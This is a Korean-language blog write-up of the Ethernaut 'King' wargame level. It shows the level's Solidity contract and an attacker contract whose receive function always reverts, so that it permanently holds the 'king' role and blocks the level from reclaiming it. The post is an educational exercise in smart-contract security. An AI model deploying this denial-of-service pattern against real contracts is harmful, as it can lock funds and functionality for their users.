새소식

인기 검색어

Write Up/Ethernaut

[Ethernaut] King

  • -
반응형

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

우리의 mission은 king이 되는 것이다.

hint를 보면 왕은 현재의 상금보다 더 많은 상금을 내면 왕이 된다. 우리가 instance를 제출하면 다시 level이 쿠데타를 일으켜 왕권을 탈취한다고 나와있다.

현재 owner랑 king은 level이고 금액은 0.001 ether이다.

그럼 우리는 > 0.001 ether 의 금액을 지불하면 탈취할 수 있다.

0.002 ether를 지불 하니까 King이 되었다.

하지만 Submit을 다시 탈취당하는 것을 확인할 수 있다.

이 문제를 도식화 해보면 contract에서 0.002 ether를 주면 해당 contract가 king이 된다.

그리고 Submit Contract를 하면 0 ether를 보내면서 msg.sender == owner를 만족하여 owner가 king 된다.

이렇게 보면 > 0.001 ether를 보내고 Submit을 하기 전까지 king은 내 Contract 가 된다.

그럼 악의적인 Contract가 0.002 ether를 보내 왕권을 탈취하고 owner가 다시 call을 할 때 그 call을 무시하면 어떻게 될까??

이렇게 외부에서 call이 오면 error를 일으키면 왕권을 유지할 수 있다.

contract Attacker{
    
    King king;
    constructor(address payable _address) {
        king = King(_address);
    }
    
    function Attack() public payable {
        (bool sent, ) = address(king).call{value : msg.value}("");
        require(sent, "Failed send To ether");
    }

    receive() payable external{
        revert();
    }
}

0.002 ether를 value로 주고 Attack 하면 왕권을 탈취할 수 있다.

반응형

'Write Up > Ethernaut' 카테고리의 다른 글

[Ehthernaut] MagicNumber  (0) 2023.02.08
[Ethernaut] Re-entrancy  (0) 2023.02.07
[Ethernaut] Vault  (0) 2023.02.03
[Ethernaut] Force  (0) 2023.02.03
[Ethernaut] Delegation  (0) 2023.02.01
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.